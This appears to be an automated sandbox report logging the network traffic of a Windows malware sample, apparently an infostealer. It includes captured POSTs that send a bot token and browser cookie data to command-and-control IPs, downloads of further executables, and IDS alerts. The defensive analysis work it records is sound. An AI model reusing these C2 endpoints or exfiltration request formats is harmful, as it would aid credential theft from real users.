Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 38 31 34 61 64 31 33 36 31 66 62 36 61 36 37 39 33 32 64 63 37 30 34 61 36 30 36 64 36 65 61 30 36 64 31 66 31 62 39 37 36 61 62 65 37 37 35 38 62 31 39 63 38 39 30 30 38 66 63 62 61 38 35 65 38 31 62 63 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 2d 2d 0d 0a Data Ascii: ------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="token"c814ad1361fb6a67932dc704a606d6ea06d1f1b976abe7758b19c89008fcba85e81bc5e4------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="message"plugins------KJDHCAFCGDAAKEBFIJDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIECFHDBAAECAAKFHDHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 38 31 34 61 64 31 33 36 31 66 62 36 61 36 37 39 33 32 64 63 37 30 34 61 36 30 36 64 36 65 61 30 36 64 31 66 31 62 39 37 36 61 62 65 37 37 35 38 62 31 39 63 38 39 30 30 38 66 63 62 61 38 35 65 38 31 62 63 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 2d 2d 0d 0a Data Ascii: ------FIIECFHDBAAECAAKFHDHContent-Disposition: form-data; name="token"c814ad1361fb6a67932dc704a606d6ea06d1f1b976abe7758b19c89008fcba85e81bc5e4------FIIECFHDBAAECAAKFHDHContent-Disposition: form-data; name="message"fplugins------FIIECFHDBAAECAAKFHDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDGDGDHDGDBFIDHDBAHost: 185.215.113.206Content-Length: 6903Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007254001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007255001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007256001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHJEGIEBFIJJKFIIIJHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 38 31 34 61 64 31 33 36 31 66 62 36 61 36 37 39 33 32 64 63 37 30 34 61 36 30 36 64 36 65 61 30 36 64 31 66 31 62 39 37 36 61 62 65 37 37 35 38 62 31 39 63 38 39 30 30 38 66 63 62 61 38 35 65 38 31 62 63 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 2d 2d 0d 0a Data Ascii: ------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="token"c814ad1361fb6a67932dc704a606d6ea06d1f1b976abe7758b19c89008fcba85e81bc5e4------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AEGHJEGIEBFIJJKFIIIJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKEBGIIDAFIDHIIECFHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 38 31 34 61 64 31 33 36 31 66 62 36 61 36 37 39 33 32 64 63 37 30 34 61 36 30 36 64 36 65 61 30 36 64 31 66 31 62 39 37 36 61 62 65 37 37 35 38 62 31 39 63 38 39 30 30 38 66 63 62 61 38 35 65 38 31 62 63 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 2d 2d 0d 0a Data Ascii: ------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="token"c814ad1361fb6a67932dc704a606d6ea06d1f1b976abe7758b19c89008fcba85e81bc5e4------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="file"------BFBKFHIDHIIJJKECGHCF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49794 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49891 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49917 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49921 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49927 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49937 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49947 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49952 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49960 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49973 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49953 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49985 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49988 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50028 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50015 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50036 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50035 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50062 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50066 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50071 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:50060 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50050 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50074 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50076 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50079 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:50078 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50080 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50288 -> 52.168.117.170:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.131
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.131
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Code function: 10_2_00406680 recv,WSAGetLastError,php_socket_strerror,_estrdup@@4,_estrdup@@4,_safe_malloc@@12,memmove,

10_2_00406680

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=UnkCN63ESHfumrF&MD=aKhye6XM HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=UnkCN63ESHfumrF&MD=aKhye6XM HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
